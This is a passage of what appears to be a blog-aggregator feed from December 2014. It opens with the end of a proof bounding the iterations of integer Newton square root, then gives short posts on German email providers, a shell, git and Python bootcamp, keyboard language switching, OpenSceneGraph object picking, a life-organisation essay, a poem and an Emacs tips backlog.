Define $\Err(x) = x^2/n - 1$ and let $ϵ_i = \Err(x_i)$. Intuitively, $\Err(x)$ is a conveniently-scaled measure of the error of $x$: it is less than $1$ for most of the values we care about and it bounded below for integers greater than our target $s$. Also, we will show that the $ϵ_i$ shrink quadratically. These facts will then let us show our bound for the iteration count.

First, let’s prove our lower bound for $ϵ_i$:

(Lemma 3.) $x_i \ge s + 1$ if and only if $ϵ_i \ge 1/n$.

Proof. $n \lt (s + 1)^2$, so $n + 1 \le (s + 1)^2$, and therefore $(s + 1)^2/n - 1 \ge 1/n$. But the expression on the left side is just $\Err(s + 1)$. $x_i \ge s + 1$ if and only if $ϵ_i \ge \Err(s + 1)$, so the result immediately follows. ∎

Then we can use that to show that the $ϵ_i$ shrink quadratically:

(Lemma 4.) If $x_i \ge s + 1$, then $ϵ_{i+1} \lt (ϵ_i/2)^2$.

Proof. $ϵ_{i+1}$ is just $\Err(f(x_i)) \le \Err(g(x_i))$, so it suffices to show that $\Err(g(x_i)) \lt (ϵ_i/2)^2$. Inverting $\Err(x)$, we get that $x_i = \sqrt{(ϵ_i + 1) \cdot n}$. Expressing $g(x_i)$ in terms of $ϵ_i$ we get \[ g(x_i) = \frac{\sqrt{n}}{2} \left( \frac{ϵ_i + 2}{\sqrt{ϵ_i + 1}} \right) \] and \[ \Err(g(x_i)) = \frac{(ϵ_i/2)^2}{ϵ_i+1}\text{.} \] Therefore, it suffices to show that the denominator is greater than $1$. But $x_i \ge s + 1$ implies $ϵ_i \gt 0$ by Lemma 3, so that follows immediately and the result is proved. ∎

Then let’s bound our initial values:

(Lemma 5.) $x_0 \le 2s$, $ϵ_0 \le 3$, and $ϵ_1 \le 1$.

Proof. Let’s start with $x_0$: \[ \begin{aligned} x_0 &= 2^{\lceil \Bits(n) / 2 \rceil} \\ &= 2^{\lfloor (\lfloor \lg n \rfloor + 1 + 1)/2 \rfloor} \\ &= 2^{\lfloor \lg n / 2 \rfloor + 1} \\ &= 2 \cdot 2^{\lfloor \lg n / 2 \rfloor}\text{.} \end{aligned} \] Then $x_0/2 = 2^{\lfloor \lg n / 2 \rfloor} \le 2^{\lg n / 2} = \sqrt{n}$. Since $x_0/2$ is an integer, $x_0/2 \le \sqrt{n}$ if and only if $x_0/2 \le \lfloor \sqrt{n} \rfloor = s$. Therefore, $x_0 \le 2s$.

As for $ϵ_0$: \[ \begin{aligned} ϵ_0 &= \Err(x_0) \\ &\le \Err(2s) \\ &= (2s)^2/n - 1 \\ &= 4s^2/n - 1\text{.} \end{aligned} \] Since $s^2 \le n$, $4s^2/n \le 4$ and thus $ϵ_0 \le 3$.

Finally, $ϵ_1$ is just $\Err(f(x_0))$. Using calculations from Lemma 4, \[ \begin{aligned} ϵ_1 &\le \Err(g(x_0)) \\ &= (ϵ_0/2)^2/(ϵ_0 + 1) \\ &\le (3/2)^2/(3 + 1) \\ &= 9/16\text{.} \end{aligned} \] Therefore, $ϵ_1 \le 1$. ∎

Finally, we can show our main result:

(Theorem 3.) $\NewtonSqrt$ performs $O(\lg \lg n)$ loop iterations.

Proof. Let $k$ be the number of loop iterations performed when running the algorithm for $n$ (i.e., $x_k \ge x_{k-1}$) and assume $k \ge 4$. Then $x_i \ge s + 1$ for $i \lt k - 1$. Since $ϵ_1 \le 1$ by Lemma 5, $ϵ_2 \le 1/2$ and $ϵ_i \le (ϵ_2)^{2^{i-2}}$ for $2 \le i \lt k - 1$ by Lemma 4, then $ϵ_{k-2} \le 2^{-2^{k-4}}$. But $1/n \le ϵ_{k-2}$ by Lemma 3, so $1/n \le 2^{-2^{k-4}}$. Taking logs to bring down the $k$ yields $k - 4 \le \lg \lg n$. Then $k \le \lg \lg n + 4$, and thus $k = O(\lg \lg n)$. ∎

Note that in general, an arithmetic operation is not constant-time, and in fact has run-time $\Omega(\lg n)$. Since the most expensive arithmetic operation we do is division, we can say that $\NewtonSqrt$ has run-time that is both $\Omega(\lg n)$ and $O(D(n) \cdot \lg \lg n)$, where $D(n)$ is the run-time of dividing $n$ by some number $\le n$.^[5]

4. The Initial Guess

It’s also useful to show that if the initial guess $x_0$ is bad, then the run-time degrades to $Θ(\lg n)$. We’ll do this by defining the function $\NewtonSqrt$ except that it takes a function $\mathrm{I{\small NITIAL}\text{-}G{\small UESS}}$ that is called with $n$ and assigned to $x_0$ in step 1. Then, we can treat $ϵ_0$ as a function of $n$ and analyze how long $ϵ_i$ stays above $1$ to show that $\NewtonSqrt$ uses an initial guess such that $ϵ_0(n) = Θ(1)$, then Theorem 4 reduces to Theorem 3 in that case. However, if $x_0$ is chosen to be $Θ(n)$, e.g. the initial guess is just $n$ or $n/k$ for some $k$, then $ϵ_0(n)$ will also be $Θ(n)$, and so the run time will degrade to $Θ(\lg n)$. So having a good initial guess is important for the performance of $\NewtonSqrt$!

Like this post? Subscribe to my feed or follow me on Twitter .

Footnotes

[1] Aside from the Wikipedia article, the algorithm is described as Algorithm 9.2.11 in Prime Numbers: A Computational Perspective. ↩

[2] Note that only integer operations are used, which makes this algorithm suitable for arbitrary-precision integers. ↩

[3] Go and JS implementations are available on my GitHub. ↩

[4] Here, and in most of the article, we’ll implicitly assume that $n \gt 0$. ↩

[5] $D(n)$ is $Θ(\lg^2 n)$ using long division, but fancier division algorithms have better run-times. ↩

Scheduled food delivery, arousal suppressant, and brain woes

Liza Shulyayeva — Tue, 09 Dec 2014 09:50:01 GMT

I haven’t updated in a long time and it’s because the battle with snail brains has been raging on. Over the past few weeks I have run into several weird behavioural problems, including but not limited to:

Choosing a German Email Provider

bastibe.de — Tue, 09 Dec 2014 02:00:00 GMT

Why not just use Gmail¹? Because if you're not paying for the service, you are the service. Google gives you Gmail for free, and in return they analyze and market your data. That's a fair deal, as far as I am concerned. But not a deal I want to make.

For one thing, I just don't like the idea of someone else reading through my email. Furthermore, I'd like my emails to be hosted in the same country I live in², so that all the laws that protect the privacy of my letters are just as valid for my emails. So a German email provider it is.

First, I tried mail.de. They show ads, even if you pay them. Also, their web interface is surprisingly ugly. No thank you.

Then, I found posteo.de, and they seemed to be doing everything right! Hosted in Germany, a buck a month, with a focus on security and privacy, and seemingly developed by friendly people. They even try to be environmentally friendly. In summary: perfect!

After half a year of using Posteo, though, I have found a few niggles. The web interface can't search mailboxes with a lot of emails--I have an archive directory with 14k emails and the search wouldn't work. Their support says that's because there are too many messages in that directory. Also, they have had a bit too much down time for my taste: I experienced three outages of about two hours each in the last half year. Not a deal breaker, but it doesn't exactly instill confidence in their infrastructure.

Enter mailbox.org. Also German, also a buck a month, also friendly and safe and eco-conscious. But with a much nicer web interface, support for custom domains, and a working search box. They even support ActiveSync, which you'll like if you use Outlook or Windows Phone. In other words, Posteo done right. I'm sold.

Or outlook.com, which is the same deal from Microsoft. Use this if you don't like Google's "priority" inbox and wonky IMAP support.↩
For the record, Microsoft has made a point of having servers in each user's country and abiding by that country's law.↩

One day software bootcamp for engineers

Negative Feedback — Mon, 08 Dec 2014 07:14:53 GMT

Last week I spent a day going over the basics of the Unix shell, version control using git and some Python with engineering students. Here are some of the things I said, links to interesting tools and my insights from crowd feedback.

Motivation

Every year, new project students arrive on campus and are asked to do larger projects than they are used to. The methods they have used for data processing up to now are usually not up to the task. The ubiquity of the spreadsheet means that most of them have opened their files in a spreadsheet and then manually applied whatever operations they needed. In my fourth year projects and also at postgraduate level, the problems of scale mean that this method probably won't work.

I've been inspired by the people from Software Carpentry to set up a longish session where I help students to install the software they need and start to understand the power of the tools. The goal is to get them over the initial stage where you don't know anything to a place where they can search for the answer themselves. I don't have permission from the Software Carpentry guys to call this one of their events, and I only loosely based my session on theirs. They appear to have more of a life-sciences focus, whereas I tried to use engineering-type data in my session.

I also chose to do this in Windows, but to use a Unix shell in order to ease the transition for those who would end up using Linux for their simulation. It doesn't make sense to throw someone into the deep end here. It's better to feel like you can do something at the end of a session than being made to feel powerless.

Installers

I chose the following installers for the session:

The Windows version of git. This is a good start as it includes git-bash, which also has a great subset of the unix tools.
The Python(x,y) distribution of Python. There are newer distributions around, but this one is still up to date and very user-friendly. If you are going to be doing science in Python, you need a distribution like this, as the batteries-included philosophy of Python doesn't extend to science (yet).

Unix shell

I start with a review of where Unix comes from. As an aside, I highly recommend In the beginning... was the commandline for a pep-talk about how awesome the command line is as well as the most complimentary description of Emacs I have ever read. It helps to keep a picture of a teletype in mind when working on the terminal as it informs many of the design decisions.

Now that everyone is in line-by-line mode, we can start the installer. The first two screens provide talking points about the differences between the terminal and the shell, as well as a profitable digression on the problem of different end-of-line conventions.

After running the git installer, you have access to git bash, which you can start from the start menu.

Of course, we start with ls, and explain the idea of flags as well as the concept of a working directory (pwd and cd are introduced here, as well as . and ..). Then I move on to other commands, including echo, which allows me to explain how blobbing is handled by the shell rather than by each command we will be using. Most of this part is just me showing how useful the shell can be, with examples motivating cat, cut, grep, head, wc and some others. As the examples spin out, we start to use redirection and piping. I think it is more important to leave with a sense of awe at the possibilities, as well as some basic understanding of what to search for than any real expertise in the command line. It may also be useful to go through the Software Carpentry shell lessons.

Version control

Now that everyone is roughly comfortable with the command line, it's time to start using git bash for what it's named for: git.

I'm not going to recapitulate the whole lesson here, especially because it's better written up at Software Carpentry but the core is instilling a good set of nomenclature built around pictures which represent the structures git uses. First, here is how the repository commands work:

Figure showing the parts of a git repository, with commands to move between them

So this takes us up to basic commits. Now, we need to think about how commits relate to one another and how branching works. I use a visualisation similar to what GitHub uses, with dots for commits and arrow-boxes for branches.

If you're reading this to learn git, I recommend that you do the git code school for the basics and then work through the challenges on Learn Git Branching, which will give you a way to think about how branching and commit chains work:

This interactive branching game is a great way to learn about git branching.

Python for Octave/Matlab users

All of the students in the session had learned programming in their undergraduate course, but most of them had learned Octave. This means that basic ideas from programming are already understood, but that the differences between Octave and Python are more important, because they may be working with a different mental model.

I started with the way names work in Python, explaining the idea that Python variables shouldn't be thought of as containers, as they are in Octave, but rather like labels. I did some of the stuff interactively, but if you're reading this now, you only really need this article, which explains it with some great visuals. I can also highly recommend the Online Python Tutor site which allows you to generate these kinds of diagrams for running code and see each step. Here's what that looks like for one of the examples in the article

I also covered some tips on looping, mentioning the excellent Loop like a Native talk.

Once these gotchas were covered, I also switched from the IPython terminal to the IPython Notebook. I gave a brief overview of how everything works and also mentioned that they need to study up on all the interesting magics.

Then it was time to pack up!

I can see why the SC guys do this as a two-day workshop, and I think if I do this again I will encourage students to bring files from their particular projects so that they can do some actual work rather than just examples. It's always more meaningful to learn on a problem you actually want to solve than on some contrived example.

Advanced language switching

nutcroft — Mon, 08 Dec 2014 02:00:00 GMT

One field where there is not as much development as I would like is language input, other than English. This is understandable for many reasons, but there is so much room for improvement. I am Greek and the situation is pretty good, but I cannot imagine how Chinese or Japanese and other people with hundred letters in their alphabet, write in their language. I have read there is (or was) much debate about how many Japanese letters will be included in the UTF* format.

In Greek, as I said, you can easily setup your keyboard layout in any operating system I have seen, but there is none with advanced keyboard layout switching techniques.

Advanced keyboard layout switching techniques

One very common thing, which always causes time to be lost is that specific fields always take English, and never Greek. For instance, the browser URL bar. You are never going to enter Greek characters there, so it would be a very good idea to lock this input field on Greek. Of course, this would happen on an OS level, which means that somehow the operating system should understand which text input field is active, on any open program.

Of course, the problem starts with the fact that there are not (and can't be) enough letters on the keyboard. So, we devise keyboard layout switching mechanisms, that is specific keyboard shortcuts. These need to be easy and fast to make. Apple gave the most thought into this matter and assigned Cmd+Space. Microsoft, until Windows 7, had Alt+Shift by default and some other bad choices. Most Linux DEs, following the quantitative mass had assigned Windows' Alt+Shift, but of course you could change it to (almost) anything you wanted. Since Windows 8, Microsoft overhauled the language switching widget and introduced, along with their old shortcut, Win+Space too. Since then, I think, some Linux DE's have followed.

The last hindrance was configuring Win+Space on Linux. It was not supported out of the box by the X window system utilities, and I did not want to mess with anything else or their endless manuals. Thankfully, I found this awesome utility on the ArchWiki, and have been content ever since!

Autocorrect and prediction

Another grievance of mine is the fact that there is still no mainstream auto-correct / prediction software for language input on desktop systems. SwiftKey is awesome on mobile, why not something similar for Skype et al instant messaging applications?

I wonder if those who thought of it, tried it and it didn't work, but sometimes you have to type really quickly, and do not care about the mistakes. Maybe next-word prediction is too much, I do not use it on my mobile either.

Portfold: Topic Research Software

Ben E. C. Boyter — Mon, 08 Dec 2014 00:39:44 GMT

Every few years I have a habit of starting a new project. The goal always being to scratch my own itch and learn some new technology in the process. While I am still working on searchcode.com I really wanted to play with what I had learnt there and apply it to something new.

You can view it at portfold.com

Recently I have been taking an interest in various topics such as “Oil Gas Pipeline Failure Rates” and “Hydroelectric Dam Environmental Impacts” (both generated using Portfold). My standard workflow was enter a search term into my favorite search engine and then click through the results looking for the interesting information. Extremely time consuming I was looking to find a better way to do it.

Simple object picking with OpenSceneGraph

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Sun, 07 Dec 2014 18:10:22 GMT

As an extension to my previous post on rectangular selections with Qt and OpenScenegraph, I just updated the example project with a very simple pick handler. A pick handler is a simple event handler that permits picking, i.e. selecting objects in a scene.

Doing it manually

The basic implementation is straightforward. We first inherit from the base class osgGA::GUIEventHandler and provide our own implementation of the handle() function. In this function, we use a line segment intersector class to determine intersections within the window:

bool PickHandler::handle( const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa )
{
  if( ea.getEventType() != osgGA::GUIEventAdapter::RELEASE &&
      ea.getButton()    != osgGA::GUIEventAdapter::LEFT_MOUSE_BUTTON )
  {
    return false;
  }

  osgViewer::View* viewer = dynamic_cast<osgViewer::View*>( &aa );

  if( viewer )
  {
    osgUtil::LineSegmentIntersector* intersector
        = new osgUtil::LineSegmentIntersector( osgUtil::Intersector::WINDOW, ea.getX(), ea.getY() );

    osgUtil::IntersectionVisitor iv( intersector );

    osg::Camera* camera = viewer->getCamera();
    if( !camera )
      return false;

    camera->accept( iv );

    if( !intersector->containsIntersections() )
      return false;

    auto intersections = intersector->getIntersections();

    std::cout << "Got " << intersections.size() << " intersections:\n";

    for( auto&& intersection : intersections )
      std::cout << "  - Local intersection point = " << intersection.localIntersectionPoint << "\n";
  }

  return true;
}

The localIntersectionPoint variable contains the intersection point in local coordinates. It is also possible to obtain the intersection point in world coordinates by calling the getWorldIntersectPoint() function of the intersection.

A shortcut

Instead of setting up our own line segment intersector, we could also call the osgViewer::View::computeIntersections of our view. This involves a dynamic cast in the handle function. The way outlined above is for instructive purposes only.

Code

As always, the code is available in a git repository.

Indie Game: The Movie

🦉 olshansky 🦁 — Sat, 06 Dec 2014 11:51:28 GMT

Olshansky's review of Indie Game: The Movie

Better Call Saul: Season 1

🦉 olshansky 🦁 — Sat, 06 Dec 2014 08:14:31 GMT

Olshansky's review of Better Call Saul: Season 1

Hyperion (Hyperion Cantos, #1)

🦉 olshansky 🦁 — Sat, 06 Dec 2014 02:00:00 GMT

Olshansky's review of Hyperion (Hyperion Cantos, #1) by Dan Simmons

New blog, new app, new screenshots

Evan Todd — Fri, 05 Dec 2014 23:00:00 GMT

Lots of stuff going on this week.

New dev blog

First off, my website got a much-needed overhaul. The horrible slowness of Wordpress.com was driving me nuts, so I switched to a custom-built site.

I used Jekyll, which is a static site generator. It spits out a bunch of HTML files which you can upload to a server, as opposed to Wordpress, which generates fresh HTML every time someone loads your page.

Advantages:

Diamond in my closet

D13V — Fri, 05 Dec 2014 02:00:00 GMT

I want to empty my life and then refill it again. Why? Because it is similar to the stuff I do when I am cleaning up and organizing my possessions. Say, for example, I am cleaning up a closet. I will remove everything, and then put everything back in order. This way I am certain to go through everything and address it. It is a simple algorithm but is very effective. Organizing my items serves not only hygienic or inventory purposes, but also helps to clear my mind by knowing what is where.

There will be a few types of things in the closet. First, there would be items that I use often and which need to be readily accessible, these would be organized for quick access. Then, there are tools that I only need on rare occasions but when need them, I remember them, and they prove very useful and they save me from a lot of trouble. These items need to be organized in a way that I can easily find them when I am searching for them. Having a container, like a tool box, helps with finding tools. In order to find a given tool, I only need to be able to know in which toolbox it is. So I will group the rarely useful tools in toolboxes and containers.

Next, as I am going through the items in the closet, I will discover some old and forgotten items. Some of them will have sentimental value, and I will decide to keep them just for the memory, as they might be irreplaceable. Other items would be obviously for throw away and I will put them aside to be discarded. The pile of items to be discarded would grow to a nice size over time, which would give me a very tangible progress indicator. It also feels really good to look at the the set of thing that are going to trash or donation and to think “Yeah, no more of this crap!”

Finally, in the closet, there will be some items that I needed recently but didn’t use because I didn’t remember where they were. At first, it might seem tricky to decide what to do with them. Maybe I will need them again in the near future, therefore I should keep them around and organize them in toolboxes. But the more likely case is that even if I need them again, I wouldn’t remember to use them. Last time I needed them, I didn’t use them, and instead I found another way to solve, or to ignore the problem. The problem wasn’t so grave that it prompted me to remember that I have these items. So after a second thought, the correct solution is always to get rid of them. They go to the discard pile. They wouldn’t be useful in the future, simply because I wouldn’t be using them. Going through this logic requires effort, but once I’ve the decision for one forgotten item, it is easier to extend to others, and to make my discard pile bigger.

If I could use the same techniques to organize my life things would be easier, right?

But organizing life is so much more complex than organizing a closet. Or is it? Looking at a closet, it is quite easy to say whether it is organized or messy, whether it is full or empty, whether it has nice stuff or rubbish inside. A closet has constant, unchangeable amount of volume - you can only put so many things in there. All closets are comparable. Whereas different people live different lives. Some people are dealing with so many different things in their life that it seems like they have infinite capacity for action. Well… whether they have infinite capacity or not, all of them, and all the rest of us have the same amount of time per day, twenty four hours.

We can instantly tell how filled somebody’s life is based on how much empty time they have, where empty time is defined by the time they can afford to do whatever they want, even do nothing. It is a pretty crude and lousy metaphor, but it is useful, at least for me, when thinking about how filled my own life is. In my opinion, there is a correlation between emptier life and a more flexible life. The higher proportion of the time one is free, higher opportunity they have for trying different things. And for procrastinating…

Going back to the closet metaphor, not all space in the closet is equal as well. The space closer to the door provides quickest access to items put there, and the space further back often requires that we move aside the front-facing items aside before we can access the stuff in the back. Unless we sacrifice a bunch of the prime front space and leave it empty, in order to make access to the back easier. Space, which is close to the floor of the closet allows for items to be placed directly there. If nothing can be placed on top of these items, then the space above is wasted. Thus, a lot of closets might seem pretty full but they actually have plenty of free volume that can be used if one can figure out how to make use of vertical space.

Back to life-time as a metaphor for closet-volume, we can note that all time is equal. Time during which we are well rested, nourished, strong and focused is prime. During this time we can perform our best and enjoy life maximally. Both in personal as well as in professional aspect. Whether we will actually do perform is a different matter that depends on environment and motivation, but nonetheless we are at the maximum of our abilities. Unfortunately, we are not rested, nourished and focused all the time. We need to sleep, eat, exercise and relax in order to get the best out of our bodies and minds. We have to spend time to do so. While in a closet, prime space is the most easily accessible, in life, prime time is harder to access. Prime time is further deep in the closet of our life and in order to reach it, we need to dedicate other time that is easier to access. We have to make time for sleep, food, exercise and rest in order to have time to do fun things or to be productive.

When we are productive, and dedicate certain amount of time, we can transform our time into artifacts, experiences and possessions. We can replace our current life closet with a different, future one that has other items in it. Or one with the items rearranged. This is what happens when we make decisions and put our time towards a certain goal, cause or entertainment. We actively manage and organize our lives.

Evaluating whether a someone else’s life is organized or messy seem actually quite easy, based on our observations of them, but it actually is very error prone. People who look messy, might be following a system that is obvious only to them, and people who seem perfectly in control may actually get into a lot of trouble when things get derailed a little bit. Even a homeless person might have a very organized life, and a big company CEO might have messiness in their life. Nevertheless, we can define messiness and organizedness in the abstract, saying that a life is organized if all of it can be described compactly and messy if it cannot.

Whether a life is filled with nice stuff or rubbish is very subjective. It comes down to personal choice and taste. Or lack thereof.

I prefer doing certain things in my time. Other people prefer other things. This can only be evaluated by the person living the life’s liver, and the quality of the contents is arguably more important than whether the life is organized and than how full or empty the life is. Prisoners have very orderly life, but I doubt they enjoy it.

Imagine the life of one of the great historic figures that you admire, a ruler, a writer, a philosopher, an activist, etc. In order to do something worthy of your admiration, they must have done something admirable during their life. Whether it is Nelson Mandela who fought apartheid, and then found power to reconcile with his oppressors, or Alexander or Caesar who conquered and united vast areas, or Jesus or Buddha who created religions that affected billions of people, the admired person had something really good in their life. If you think of their life as their own closet, each of them had a diamond in it. A diamond is an item that other people would envy and admire, but the owner of the diamond my get very little usefulness off it. Maria Currie is revered for her work on radiation, but it ultimately costed her her life. Users who create diamonds really value them, but might not always enjoy them.

Diamonds require a certain degree of luck, but striving for them and putting the effort in is an achievable goal. We aren’t guaranteed to succeed in making something amazing and eternal, a dent in the universe, and a model to be followed. But we can sure give our best effort to make the most of our lives. I want to organize my life because if I do, I will be able to put more effort in. If we don’t put the effort, we have no chance of finding a diamond.

Some Thoughts on the new .NET (Redux)

Nicola Iarocci — Thu, 04 Dec 2014 02:00:00 GMT

Like all those involved with the .NET ecosystem I’ve been slowly digesting the recent news on the whole thing going open source and cross platform. I’ve been jogging down a few notes in light of a future blog post, but then Jeremy Miller came out with his own Some Thoughts on the New .NET which is almost exactly the post I wanted to write. So when he writes:

I’ve started to associate .Net “classic” with seemingly constant aggravations like strong naming conflicts, csproj file merge hell, slow compilation, slow nuget restores, and how absurdly heavyweight and bloated that Visual Studio.Net has become over the years.

Letter by Franz Wright

ho.dges.online — Thu, 04 Dec 2014 02:00:00 GMT

I’d never heard of Franz Wright until I happened across an album of music - drone-y, very minimalist music - that was inspired by his poems. I’ve not read many of them but this one I found intriguing.

I am not acquainted with anyone
there, if they spoke to me
I would not know what to do.
But so far nobody has, I know
I certainly wouldn’t.
I don’t participate, I’m not allowed;
I just listen, and every morning
have a moment of such happiness, I breathe
and breathe until the terror returns. About the time
when they are supposed to greet one another
two people actually look into each other’s eyes
and hold hands a moment, but
the church is so big and the few who are there
are seated far apart. So this presents no real problem.
I keep my eyes fixed on the great naked corpse, the vertical
corpse
who is said to be love
and who spoke the world
into being, before coming here
to be tortured and executed by it.
I don’t know what I am doing there. I do
notice the more I lose touch
with what I previously saw as my life
the more real my spot in the dark winter pew becomes —
it is infinite. What we experience
as space, the sky
that is, the sun, the stars
is intimate and rather small by comparison.
When I step outside the ugliness is so shattering
it has become dear to me, like a retarded
child, precious to me.
If only I could tell someone.
The humiliation I go through
when I think of my past
can only be described as grace.

Emacs tips backlog

xenodium.com @alvaro — Wed, 03 Dec 2014 02:00:00 GMT

[TODO]{.todo .TODO} Typit: typing game for Emacs.

[TODO]{.todo .TODO} pyimports.

[TODO]{.todo .TODO} Sriram Krishnaswamy's init.

[TODO]{.todo .TODO} Using a Node repl in Emacs with nvm and npm.

[TODO]{.todo .TODO} arview.

[TODO]{.todo .TODO} company-flx: fuzzy matching to company.

[TODO]{.todo .TODO} Integration of the Go 'guru' analysis tool into Emacs.

[TODO]{.todo .TODO} company-mode/company-statistics: Sort completion candidates by previous completion choices.

[TODO]{.todo .TODO} Rewrite git history with Emacs, magit and git rebase.

[TODO]{.todo .TODO} Code coverage highlighting for Emacs.

[TODO]{.todo .TODO} tramp-theme.

[TODO]{.todo .TODO} cstyle.

[TODO]{.todo .TODO} A go Emacs config.

[TODO]{.todo .TODO} Try out ox-twbs.

[TODO]{.todo .TODO} Emacs Lisp function frequency.

[TODO]{.todo .TODO} How to make yasnippet and company work nicer? (Stack Exchange).

[TODO]{.todo .TODO} yasnippet-java-mode/java-snippets.el.

[TODO]{.todo .TODO} font-lock-studio.

[TODO]{.todo .TODO} buttercup.

[TODO]{.todo .TODO} markdown-preview-eww.

[TODO]{.todo .TODO} ediff-revision and magit-find-file to compare branches.

[TODO]{.todo .TODO} Flycheck linter for sh using checkbashisms.

[TODO]{.todo .TODO} El Kanban Org: parse org-mode todo-states to use org-tables as Kanban tables.

[TODO]{.todo .TODO} Emacs iOS development (qiita).

[TODO]{.todo .TODO} Emacs iOS development (fujimisakari).

[TODO]{.todo .TODO} encrypting org files.

[TODO]{.todo .TODO} flycheck-pos-tip.

[TODO]{.todo .TODO} Writing Python Docstrings with Emacs.

[TODO]{.todo .TODO} Try Completion for Objective-C (Github diff).

[TODO]{.todo .TODO} Emacs fasd support.

[TODO]{.todo .TODO} visual-regexp.

[TODO]{.todo .TODO} Open large files.

[TODO]{.todo .TODO} company-sourcekit (Swift completion): sample config.

[TODO]{.todo .TODO} emacs-java-imports.

[TODO]{.todo .TODO} append-to-buffer.

[TODO]{.todo .TODO} python-x: extras for interactive evaluation.

[TODO]{.todo .TODO} outlined-elisp-mode.

[TODO]{.todo .TODO} outlien-magic.

[TODO]{.todo .TODO} Gutter and linum+ config (see zvlex/dotfiles).

[TODO]{.todo .TODO} kurecolor: Editing color.

[TODO]{.todo .TODO} auto-insert-mode.

[TODO]{.todo .TODO} Buffer local cursor color: ccc.

[TODO]{.todo .TODO} clang indexing tool: clang-tags.

[TODO]{.todo .TODO} Create custom theme: Trường's post.

[TODO]{.todo .TODO} dired-hacks.

[TODO]{.todo .TODO} gtd emacs workflow: Charles cave's notes.

[DONE]{.done .DONE} emacs-index-search (lookup subject in Emacs manual).

[DONE]{.done .DONE} info-apropos (lookup subject in all manuals).

[TODO]{.todo .TODO} Jumping around tips: zerokspot.

[TODO]{.todo .TODO} Mac OS clipboard support (from terminal): pbcopy.

OBSOLETE Malabar mode: For Java.

[TODO]{.todo .TODO} Melpa recipe format:format.

OBSOLETE Naturaldocs for javascript: Vineet's post.

[TODO]{.todo .TODO} Org protocol: see irreal's post and oremacs's part 1 and part 2.

[TODO]{.todo .TODO} org-multiple-keymap. More at org-multiple-keymap.el.

[TODO]{.todo .TODO} org-reveal: Export org to reveal.js.

[TODO]{.todo .TODO} Practice touch/speed typing: speedtype.

[TODO]{.todo .TODO} private configuration: private.

[TODO]{.todo .TODO} project management for C/C++: malinka.

[TODO]{.todo .TODO} Project templates: skeletor.

[TODO]{.todo .TODO} Rewrite git logs. See emacs magit tutorial | rewrite older commit.

[TODO]{.todo .TODO} Selective display: Hide lines longer than.

[TODO]{.todo .TODO} shell-command-on-region: Print inline with C-u M-|.

[TODO]{.todo .TODO} shell-command: Print output inline with C-u M-!.

[TODO]{.todo .TODO} Simplify media file transformations: make-it-so.

[TODO]{.todo .TODO} yatemplate.

[TODO]{.todo .TODO} emacs-helm-xcdoc.

OBSOLETE Drill down org files using orgnav (helm-based).

OBSOLETE Prettier emacs. (use reformatter.el.)

OBSOLETE Spaceline walkthrough.

OBSOLETE Try out emacs Android debug (see this post).

OBSOLETE quickrun.el.

OBSOLETE Emacs for JavaScript.

OBSOLETE go-gopath.

OBSOLETE shift-number.el.

OBSOLETE https://github.com/xuchunyang/DevDocs.el.

OBSOLETE select-themes.

OBSOLETE Emacs purpose.

OBSOLETE Why are you changing gc-cons-threshold?.

OBSOLETE Corral.

OBSOLETE xcode-mode.

OBSOLETE commenter.

OBSOLETE Emacs JavaScript helpers.

OBSOLETE yahoo-weather-mode.

OBSOLETE Peek at peteyy's Javascript config.

OBSOLETE import-js.

OBSOLETE ES6 yasnippets.

OBSOLETE swank-js.

OBSOLETE TypeScript Interactive Development Environment for Emacs.

[DONE]{.done .DONE} Try out cquery, emacs-lsp, and company-lsp.

[DONE]{.done .DONE} (setq projectile-use-git-grep t). <2018-12-27 Thu>

[DONE]{.done .DONE} Is there any easy way to make .org files password protected? (Reddit).

[DONE]{.done .DONE} use-package binding to different maps

(use-package term
  :bind
  (:map
   term-mode-map
   ("M-p" . term-send-up)
   ("M-n" . term-send-down)
   :map term-raw-map
   ("M-o" . other-window)
   ("M-p" . term-send-up)
   ("M-n" . term-send-down)))

[DONE]{.done .DONE} Emacs qrencode.

[DONE]{.done .DONE} Smartparens.

[DONE]{.done .DONE} Hash region.

[DONE]{.done .DONE} helm-ispell.

[DONE]{.done .DONE} Pack/unpack files with atool on dired.

[DONE]{.done .DONE} company-shell.

[DONE]{.done .DONE} artbollocks-mode and writegood. More at Sacha's post.

[DONE]{.done .DONE} comint-prompt-read-only for making shell prompts read-only.

[DONE]{.done .DONE} org-page: Static blog.

[DONE]{.done .DONE} I just realized Emacs has a fast infix calculator that's not calc or quick-calc… (Reddit).

[DONE]{.done .DONE} How to get emacs key bindings in Ubuntu.

[DONE]{.done .DONE} org-autolist.

[DONE]{.done .DONE} Move up by parens: More at the manual.

[DONE]{.done .DONE} sunrise-sunset.

[DONE]{.done .DONE} ace-window.

[DONE]{.done .DONE} Checkdoc.

[DONE]{.done .DONE} Choose magit repo c-u c-x g (magit-status).

[DONE]{.done .DONE} continue comment blocks: m-j (indent-new-comment-line).

[DONE]{.done .DONE} Debug expanded elisp macros: See Wisdom and Wonder's post.

[DONE]{.done .DONE} delete-duplicate-lines

[DONE]{.done .DONE} Describe bindings: C-h b lists all bindings.

[DONE]{.done .DONE} Disable furniture

(menu-bar-mode -1)
(toggle-scroll-bar -1)
(tool-bar-mode -1)

[DONE]{.done .DONE} elmacro shows keyboard as emacs lisp.

[DONE]{.done .DONE} yasnippet mirrors with transformations more at snippet development.

For example:

- (${1:id})${2:foo}
{
    return $2;
}

- (void)set${2:$(capitalize yas-text)}:($1)avalue
{
    [$2 autorelease];
    $2 = [avalue retain];
}
$0

[DONE]{.done .DONE} Emacs regex: Emacs: text pattern matching (regex) tutorial.

[DONE]{.done .DONE} export ascii art: artist mode + ditaa for uml. demo video.

[DONE]{.done .DONE} lispy.

[DONE]{.done .DONE} minimal: minimalist appearance.

[DONE]{.done .DONE} Narrowing regions

c-x n n (narrow-to-region).
c-x n w (Widen).

[DONE]{.done .DONE} nxml-mode.

[DONE]{.done .DONE} org-beautify-theme: a sub-theme to make org-mode more beautiful.

[DONE]{.done .DONE} Recursive query/replace

M-x find-dired RET.
Navigate to location, RET.
Add find argument (omit for all files), RET.
t (select all).
Q (query-replace).
Enter search/replace terms.
y/n for each match.
C-x s ! (save all).

[DONE]{.done .DONE} Repeat last command: C-x z (and just z threreafter).

[DONE]{.done .DONE} Replace char with a newline

M-x replace-string RET ; RET C-q C-j.
C-q (quoted-insert).
C-j (newline).

[DONE]{.done .DONE} smart-mode-line, sacha's sample usage.

[DONE]{.done .DONE} Toggling key bingings: ode to the toggle.

